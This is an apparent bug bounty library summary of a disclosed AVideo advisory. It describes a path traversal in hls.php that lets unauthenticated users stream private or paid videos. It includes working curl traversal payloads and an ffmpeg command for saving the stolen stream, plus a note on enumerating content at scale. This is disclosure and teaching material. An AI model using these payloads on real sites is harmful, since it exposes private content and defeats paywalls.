# AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos

AVideo's hls.php authorizes the first path segment of videoDirectory but serves the traversed path, letting unauthenticated users stream private/paid videos.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-19
- CVE: CVE-2026-33292
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pw4v-x838-w5pg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-pw4v-x838-w5pg
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:php technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** PHP HLS streaming endpoint (view/hls.php)
**Root cause:** Split-oracle: getVideoFromFileName truncates videoDirectory at the first '/' for the authorization DB lookup, while getPathToFile preserves '..' sequences when building the filesystem path, so auth checks one video and content is served from another.
**Steps:**
1. Confirm private video blocked: `curl -s "https://target.com/view/hls.php?videoDirectory=private_video"` returns 'Can not see video'.
2. Send traversal payload: `curl -s "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" -H "Accept: application/vnd.apple.mpegurl"`.
3. Auth lookup uses `public_video` (public) and passes; path resolves to `/videos/public_video/../private_video/index.m3u8`.
4. Response returns private_video's M3U8 playlist; stream with `ffmpeg -i "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" -c copy stolen_video.mp4`.
**How found:** Reporter noticed videoDirectory is consumed by two divergent functions — one truncating at '/' for the DB lookup, one preserving '..' for path construction — and tested the mismatch.
**Exploitation:** Unauthenticated attacker needs one known public video filename to satisfy the auth check, then appends `/../<target_video>` to stream any private/paid video's HLS playlist and segments; predictable filename patterns enable enumeration.
**Escalation:** Single public video acts as pivot to enumerate and exfiltrate all private/paid content on the instance at scale.
**Insight:** When a parameter feeds both an authorization lookup and a filesystem path, compare how each normalizes it; a truncation in one and traversal-preservation in the other yields a split-oracle. Query-param traversal also evades web-server path normalization.

## Proof of concept (copied exactly from the original report)

**curl request exploiting path traversal to stream private video**

```
curl -s "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \
  -H "Accept: application/vnd.apple.mpegurl"
```

**Baseline curl confirming private video is blocked**

```
curl -s "https://target.com/view/hls.php?videoDirectory=private_video" \
  | head -5
# Expected: "HLS.php Can not see video [ID] (private_video) cannot watch (ID)"
```

**ffmpeg command to download stolen HLS stream**

```
ffmpeg -i "https://target.com/view/hls.php?videoDirectory=public_video/../private_video" \
  -c copy stolen_video.mp4
```

